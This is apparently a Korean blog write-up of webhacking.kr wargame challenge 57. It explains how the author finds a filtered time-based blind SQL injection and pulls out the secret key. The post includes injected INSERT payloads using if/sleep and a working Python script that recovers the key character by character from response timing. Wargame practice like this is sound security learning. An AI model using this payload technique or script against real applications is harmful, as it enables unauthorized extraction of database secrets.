Wargame/webhacking.kr (old)

[Webhacking.kr] 57번 풀이

Grini 2019. 5. 9. 13:23

secret key를 알아내서 입력하는 문제인 것 같다.

소스를 보자.

 

pw가 \$secret_key와 같으면 문제가 풀리고 se 문자열이 from, union등이 필터링되어 있다.

insert문을 이용하여 데이터가 저장된다.

 

처음에는 insert문을 이용하여 secret 키의 값을 조작해서 푸는 건줄 알았으나,

잘보면 \$secret_key는 값이 초기화되는 채로 pw와 값을 비교하기때문에 \$secret_key는 조작할 수 없다.

\$secret_key의 값을 알아내야한다.

 

일단 페이지의 반응을 보자.

 

message에 값을 입력해주면 get 방식으로 msg와 se의 값이 전송된다.

se는 secret의 라디오 버튼 값이다. (yes : 1, no : 0)

값이 올바르게 전송되면 Done이 출력된다.

 

소스를 좀 더 자세히보면 benchmark가 필터링되어있다.

처음보는 단어인데 필터링되어 있다는 것은 의심해볼만 하다.

benchmark를 검색해보니 Time-Based SQL Injection에 사용되는 함수라고 나와있다.

 

Time-Based SQL Injection이란?

시간을 이용한 SQL Injection 공격

SQL 쿼리문의 실행 결과에 따라 반환시간을 지연시킴으로써 쿼리문의 참과 거짓을 판별

주로 참과 거짓에 따라 차이를 확인할 수 없을 때 사용

database종류에 따라 sleep, benchmark, waitfor delay등의 함수를 사용

 

[ Time-Based SQL Injection ] https://www.owasp.org/index.php/Blind_SQL_Injection

[ Time-Based SQL Injection ] https://tempuss.tistory.com/entry/Time-Base-SQL-Injection


benchmark(count, expr)

특정 식 expr을 count 만큼 반복 실행하는 함수

연산을 반복하여 걸리는 시간으로 sleep함수와 같은 효과를 얻을 수 있다.

 

[ benchmark ] https://dev.mysql.com/doc/refman/5.7/en/information-functions.html


sleep(duration)

duration 초만큼 일시 중지 한 후 0을 반환하는 함수

 

[ sleep ] https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep


if(expression, expr_true, expr_false)

expression 조건문이 참일 경우 expr_true 실행, 거짓일 경우 expr_false 실행

 

[ if ] http://www.spatium.co.kr/languages/content.php?chno=5&bno=34

 

위 함수들을 이용하여 MySQL에서 쿼리문을 만들어 실행해보았다.

 

참인 경우 sleep(3) 이 실행되어 insert문을 실행하는데 3.38초가 걸린다.

이처럼 쿼리문을 실행하는데 걸리는 시간을 이용하여 Blind SQL Injection을 수행하여

\$secret_key를 알아낼 수 있을 것 같다.

 

insert 문이 실행되어 페이지에 Done이 출력되는 시간을 측정하여 쿼리문의 참과 거짓을 판별한다.

 

insert into challenge57msg(id,msg,pw,op) values

('id','msg','$secret_key',if(length(pw)=숫자,sleep(5),1));

pw의 길이가 맞으면 sleep(5)에 의해 5초 이상 걸려 Done이 출력될 것이다.

 

insert into challenge57msg(id,msg,pw,op) values

('id','msg','$secret_key',if(ascii(substr(pw,1,1)=97,sleep(5),1));

pw의 값이 맞으면 sleep(5)에 의해 5초 이상 걸려 Done이 출력될 것이다.

 

위 쿼리문이 잘 실행되는지 확인해보았는데 Not Acceptable이 출력된다.....

뭔가 필터링되어있나 싶어 if와 sleep를 입력해보았는데 Done이 잘 출력된다.

 

흠..

왜때문인지 모르겠으나.. 혹시나 싶어 sleep의 시간을 고쳐보았더니 0.9로 하면 잘된다.

 

쿼리문을 판단하기에는 0.9초는 너무 짧은것 같아 혹시나 하는 마음으로 sleep(5.0)을 하였더니 잘 된다.

왜 정수는 안되는지 모르겠다.

 

아무튼 잘되니 python을 이용하여 \$secret_key의 값을 알아보자.

(시간을 너무 짧게 주면 쿼리문을 실행하는데 걸리는 시간에 의해 잘못된 값이 찾아질 수도 있다.)

 

[ 소스 코드 ]

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import time
import requests

headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=9c0180eae964c316c2f3895e27ad28f7;'}
url = "http://webhacking.kr/challenge/web/web-34/index.php"

#Find secret key length
len = 0
while True:
	data = "?msg=a&se=if(length(pw)="+str(len)+",sleep(5.0),1)"

	pre_time = time.time()
	
	r = requests.get(url+data,headers=headers)
	if r.text.find('Done') != -1 :
		cur_time = time.time()
	
	if cur_time - pre_time >= 5 : #Check time
		break
	len += 1
print "------------------------------------------------"
print "SECRET KEY LEN : ",len
print "------------------------------------------------"

#Find secret key
secret_key = ''
for i in range(1,len+1):
	for j in range(48,123):
		if 58 <= j <= 96: continue
		data = "?msg=a&se=if(ascii(substr(pw,"+str(i)+",1))="+str(j)+",sleep(5.0),1)"
		
		pre_time = time.time()
		
		r = requests.get(url+data,headers=headers)
		if r.text.find('Done') != -1 :
			cur_time = time.time()
		
		if cur_time - pre_time >= 5 : #Check time
			secret_key += chr(j)
			
			print "found : ",secret_key
			break
print "------------------------------------------------"	
print "SECRET KEY : ", secret_key
print "------------------------------------------------"

[ 실행 결과 ]

 

찾은 secret key인 1058792495를 입력해주면 문제가 풀린다.